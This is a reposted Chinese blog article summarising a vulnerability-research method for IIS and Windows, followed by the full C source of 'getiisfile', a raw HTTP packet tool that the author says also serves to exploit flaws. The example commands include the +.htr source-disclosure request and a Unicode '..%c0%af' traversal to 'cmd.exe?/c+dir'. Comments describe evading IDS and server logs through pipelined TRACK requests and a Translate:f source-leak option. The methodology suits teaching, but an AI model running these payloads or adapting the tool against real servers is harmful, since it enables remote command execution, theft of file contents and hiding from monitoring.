现在的位置: 首页 > 综合 > 正文

漏洞研究方法总结[z]

2013年10月07日 ⁄ 综合 ⁄ 共 7791字 ⁄ 字号 评论关闭
文章作者:yange

一、前期准备,建立安全模型;
  1、熟悉软件功能、功能实现,配置等;
    如:IIS的虚拟目录、脚本映射;
  2、根据功能,分析安全需求,建立安全模型;
    IIS外挂,文件类型识别,目录正确识别;目录限制;
    外挂的特点;权限不是在文件对象上,需要自己识别文件,所以需要识别出同一个文件的所有文件名;
  3、根据安全需求,分析编程应注意的地方,重点检查。
    IIS要对"../"进行检测,连接文件的处理,识别出正确的目录、文件名;
    编程接口完全按接口实现;

二、原代码分析;
  1、通读原代码;
  2、安全需求里面重点需要检测的地方;
  3、搜索容易有问题的函数调用,如strcpy、strcat、*printf、free、strncpy等;
  4、常见一些编程问题;一些变量类型,如长度变量用int,注意一些函数非直接返回赋值问题等,一些边界条件,记数从0开始还是从1开始。
  5、分析缓冲区使用的代码;
  6、输入输出合法检测;  
  7、编程接口调用;了解操作系统、基本文件、进程调用等的特性;
  8、数据结构;
  9、安全领域的最小原则;

三、二进制代码分析;
  1、测试;
   (1)、熟悉输入输出;
   (2)、根据需要编写测试程序;
   (3)、输入输出各种特殊情况测试,特殊字符、长串;
   (4)、安全需求需要检测的一些条件测试;
  2、反汇编分析;
   (1)、阅读理解反汇编代码;
   (2)、安全需求检测的代码分析;
   (3)、调用接口代码分析;
   (4)、sub esp,xxx 代码分析缓冲;
   (5)、strcpy、strcat、*printf、free、strncpy等调用分析;
   (6)、输入输出检测;

  3、跟踪调试;
   (1)、异常的拦截分析;
   (2)、一些字符串的流向,读写断点;

四、总结提高;
  1、分析总结各种漏洞、漏洞原因、编程问题,补丁修补方法,编程怎么避免。
  2、对漏洞归纳分类,全面考虑;
   

一些漏洞研究成果:

  1. IIS ISM.DLL文件名截断漏洞泄漏文件内容漏洞;
   
http://www.microsoft.com/technet/security/bulletin/ms00-044.asp
  
  2. Microsoft Windows 9x共享密码校验漏洞;
   
http://www.microsoft.com/technet/security/bulletin/ms00-072.asp

  3. Microsoft IIS Unicode解码目录遍历漏洞;
   
http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
  
  4. Microsoft IIS CGI文件名检查漏洞;
   
http://www.microsoft.com/technet/security/bulletin/ms00-086.asp
  
  5. Microsoft IIS远东版泄漏文件内容漏洞;
   
http://www.nsfocus.com/english/homepage/sa_08.htm

6. Microsoft IIS CGI文件名错误解码漏洞;
   
http://www.microsoft.com/technet/security/bulletin/ms01-026.asp

7. Microsoft FrontPage 2000服务器扩展缓冲区溢出漏洞;
   
http://www.microsoft.com/technet/security/bulletin/ms01-035.asp

8. Microsoft IIS ssinc.dll缓冲区溢出漏洞;
   
http://www.microsoft.com/technet/security/bulletin/ms01-044.asp

  9. WebDav 拒绝服务漏洞;
  
  10. WebDav 泄露文件源代码漏洞;
  
  11. WebDav 缓冲区溢出漏洞;
  
  12. asp.dll 缓冲区溢出漏洞;

  13. shtml.dll 泄露文件源代码漏洞;

  14. IIS CGI 拒绝服务漏洞;
  
  15. IIS CGI 泄露源代码漏洞;

  16. winlogon.exe 缓冲区溢出漏洞;
   
17. WINDOWS API 缓冲溢出漏洞;

  18. Windows mup.sys 缓冲溢出漏洞;

  19. apache for win32 可搜索文件漏洞;

  20. apache for win32 执行任意命令漏洞;

  21. php4.0 缓冲溢出漏洞;
  。。。。。。
测试、漏洞利用工具

  此程序只是一个简单的、方便的发包工具,当时写此程序主要用于方便对IIS、一些CGI等进行各种测试,也算为找漏洞立下汗马功劳,就是前面那篇《漏洞研究方法总结》所说的测试工具。当然此程序也可以用来作为很多漏洞的利用工具。因为程序本身很简单,没什么危害,利用PERL就可以简单的实现此功能,所以公布。
  程序就是可以简单的方便的构造重复串,所以大家一看就能明白。
  比如: getiisfile xxx.xxx.xxx.xxx 80 "GET /global.asa" 1 + .htr
  实际上就是请求 /global.asa+.htr,显然就是+.htr的利用程序,那 “1”、“ +”就是重复1个“+”的意思。
  比如: getiisfile xxx.xxx.xxx.xxx 80 "GET /_vti_bin/  6 ..%c0%af "winnt/system32/cmd.exe?/c+dir" 就是unicode的利用方法,同样DECODE等漏洞都可以使用,IDA的溢出漏洞也可以使用,当然这就只能对其进行DoS了,如果shellcode也这么输入那就太厉害了。
  这个就可以方便对URL的很多域构造各种包,方便检测服务器是否处理那些地方有漏洞。里面实际还有一些别的测试,也没有删除一共给出,关心的可以看看代码意思。

/* 
   getiisfile ver1.0
   copy by yuange <
yuange@nsfocus.com> 2000。05。18
*/ 

#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
#define BUFFSIZE  0x30000
#define WEBPORT  80
#define NOPCODE  0x41
#define SENDTIMES 1
#define TIMEOVER  20000

int main(int argc, char **argv)
{
 char *server;
 char *nopstr;
 char buff0[]="TRACK / HTTP/1.1 /nHOST:";
 char buff1[]="GET /global.asa";
 char buff2[]="+";
 char buff3[]=".htr";
 char buff4[]=" HTTP/1.1 /nHOST:";
 char buff5[]="/nTranslate:f/n/n";
 char buff6[]="/n/n";
 char  buff[BUFFSIZE];
 unsigned char  recvbuff[BUFFSIZE];
 struct sockaddr_in s_in;
 struct hostent *he;
 unsigned int i,j,nopstrnums,nopstrlong,filetypestrlong,packetheadlong; 
 int   l,m,k;
 int   fd;
 u_short port;
 SOCKET d_ip;
 WSADATA wsaData;
 int result;

 fprintf(stderr,"/n getiisfile ver1.0.");
 fprintf(stderr,"/n copy by yuange (
yuange@nsfocus.com) 2000.5.18.");
 fprintf(stderr,"/n welcome to my homepage
http://yuange.yeah.net .");
 fprintf(stderr,"/n welcome to
http://www.nsfocus.com .");
 fprintf(stderr,"/n usage: %s <server> [port] [GET file] [nopstrnums] [nopstr]

",argv[0]);
 fprintf(stderr,"/n EXAMP1: %s
www.iisfile.com 80 /"GET /global.asa/"",argv[0]);
 fprintf(stderr,"/n EXAMP2: %s
www.iisfile.com 80 /"GET /global.asa/" 200 + .htr",argv[0]);

 result=WSAStartup(MAKEWORD(1, 1), &wsaData);
 if (result != 0) {
    fprintf(stderr, "Your computer was not connected "
      "to the Internet at the time that "
      "this program was launched, or you "
      "do not have a 32-bit "
      "connection to the Internet.");
    exit(1);
  }
 if(argc <2){
    WSACleanup( );  
    exit(1);
 }
 else server = argv[1];
 d_ip = inet_addr(server);
 if(d_ip==-1){
   he = gethostbyname(server);
   if(!he)
   {
    WSACleanup( );
    printf("/n Can't get the ip of %s !/n",server);
    exit(1);  
   }
   else  memcpy(&d_ip, he->h_addr, 4);
 }  
 
 if(argc>2) port=atoi(argv[2]);
 else    port=WEBPORT;
 if(port==0) port=WEBPORT;

 fd = socket(AF_INET, SOCK_STREAM,0);
     
 s_in.sin_family = AF_INET;
 s_in.sin_port = htons(port);
 s_in.sin_addr.s_addr = d_ip;
 printf("/n GETIISFILE ip: %s port %d",inet_ntoa(s_in.sin_addr),htons(s_in.sin_port));
 
 if(connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in))!=0)
 {    
   closesocket(fd);
   WSACleanup( );
   fprintf(stderr,"/n connect err.");
   exit(1);
 }

 nopstrnums=1;
 if(argc>4) nopstrnums=atoi(argv[4]);
 if(nopstrnums<0) nopstrnums=0;
 
 i=TIMEOVER;
// if(argc>7) i=atoi(argv[7]);
// if(i==0)  i=TIMEOVER;
// setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
 
 memset(buff,NOPCODE,BUFFSIZE);
/*
 strcpy(buff,buff0);
 strcat(buff,server);
 strcat(buff,"/n/n");
  用于逃避一些IDS检测的代码,就是一个包里面包含几个请求,如果IDS功能不行,就只分析到前面一个请求。IIS对于请求“TRACK”,是一个回显处理,相当于ping,但IIS对于这个请求无LOG记录。

*/
 strcpy(buff,"");
// printf("/nbuff:/n%s",buff);
// gets(buff);
 packetheadlong=strlen(buff1);
  if(argc>3){
  packetheadlong=strlen(argv[3]);
  packetheadlong+=strlen(buff);
  memcpy(buff+strlen(buff),argv[3],packetheadlong);  
 }
  else {
    packetheadlong+=strlen(buff);
     memcpy(buff+strlen(buff),buff1,packetheadlong);
  }

 l=packetheadlong;

 for(i=0; i<nopstrnums; ++i){
    nopstrlong=strlen(buff2);
    nopstr=buff2;
    if(argc>5){
      nopstrlong=strlen(argv[5]);
      nopstr=argv[5];
    }
    if((packetheadlong+i*nopstrlong)>(BUFFSIZE-0x80)) break;     
    memcpy(buff+packetheadlong+i*nopstrlong,nopstr,nopstrlong);
 }

 packetheadlong+=i*nopstrlong;
 filetypestrlong=strlen(buff3);
 if(argc>6){
    filetypestrlong=strlen(argv[6]);
    memcpy(buff+packetheadlong,argv[6],filetypestrlong);
 }
 else memcpy(buff+packetheadlong,buff3,filetypestrlong);
 
 strcpy(buff+packetheadlong+filetypestrlong,buff4);
// strcpy(buff+packetheadlong+filetypestrlong+strlong(buff4),server);
 strcpy(buff+strlen(buff),server);
 if(argc>7&&strcmp(argv[7],"tf")==0) strcpy(buff+strlen(buff),buff5);
 else  strcpy(buff+strlen(buff),buff6);

/*
  可以发WEBDAV的包,这个参数可以用来利用“Translate:f”漏洞
  没有使用这个参数的说明,实际是自己私用。
*/

// printf("/n send buff:%s",buff);

 j=strlen(buff);
 for(i=0;i<SENDTIMES;++i){
   fprintf(stderr,"/n send packet %d bytes.",j);
//   printf("/n send:/n%s",buff);
   
   send(fd,buff,strlen(buff),0);
   printf("/n recv:/n");
  
//   fprintf(stderr,"/n recv:/n");
   k=1;
   while(k>0){
     k=recv(fd,recvbuff,BUFFSIZE,0);
     if(k>0){
      recvbuff[k]=0;
      if(argc>8&&memcmp(argv[8],"bin",3)==0){
        for(j=0;j<k;++j){
        // fprintf(stderr," 0x%x",recvbuff[j]);
          printf(" 0x%x",recvbuff[j]);
        }      
      }
      else   
//        fprintf(stderr,"%s",recvbuff);
        printf("%s",recvbuff);
     }
   }

 }
 closesocket(fd);

 if(argc>9&&memcmp(argv[9],"test",4)==0){
   m=strlen(buff)+2;
   strcpy(recvbuff,buff);
   strcpy(buff+l+2,recvbuff+l);
   for(i=0x0101;i<0x10000;++i){
    *(WORD *)(buff+l)=i;
/*
  用于测试unicode、decode那样的编码问题,此代码是后面发现这些问题后再加的测试代码
*/
     printf("/n send packet %d bytes.i=0x%x",m,i);
    fd = socket(AF_INET, SOCK_STREAM,0);

    s_in.sin_family = AF_INET;
    s_in.sin_port = htons(port);
    s_in.sin_addr.s_addr = d_ip;
     connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in));
    k=1000;
    setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(k));
    printf("/n send:/n%s",buff);
    send(fd,buff,m,0);
     printf("/n recv:/n");
    k=1;
    while(k>0){
      k=recv(fd,recvbuff,BUFFSIZE,0);
      if(k>0){
       recvbuff[k]=0;
       if(argc>8&&memcmp(argv[8],"bin",3)==0){
        for(j=0;j<k;++j){
         printf(" 0x%x",recvbuff[j]);
        }      
       }
       else    printf("%s",recvbuff);
      }
    }
    closesocket(fd);
   }
 }
// closesocket(fd);

 WSACleanup( );
 return(0);

}

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=618399

抱歉!评论已关闭.